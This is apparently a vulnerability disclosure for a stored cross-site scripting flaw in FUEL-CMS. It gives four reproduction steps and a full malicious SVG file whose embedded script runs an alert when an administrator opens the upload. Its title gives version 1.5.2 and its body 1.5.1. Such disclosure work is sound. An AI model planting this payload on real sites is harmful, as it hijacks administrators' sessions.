A stored XSS vulnerability exists in FUEL-CMS-1.5.2

[DMIND-NLL]

A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1 that allows an authenticated user authorized to upload a malicious .svg file which acts as a stored XSS payload. If this stored XSS payload is triggered by an administrator it will trigger a XSS attack.

1. Log in and go to the Assets page
   

2. Prepare an xss.svg file with the following contents

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>

3. Upload the xss.svg file
   

4. Access the uploaded files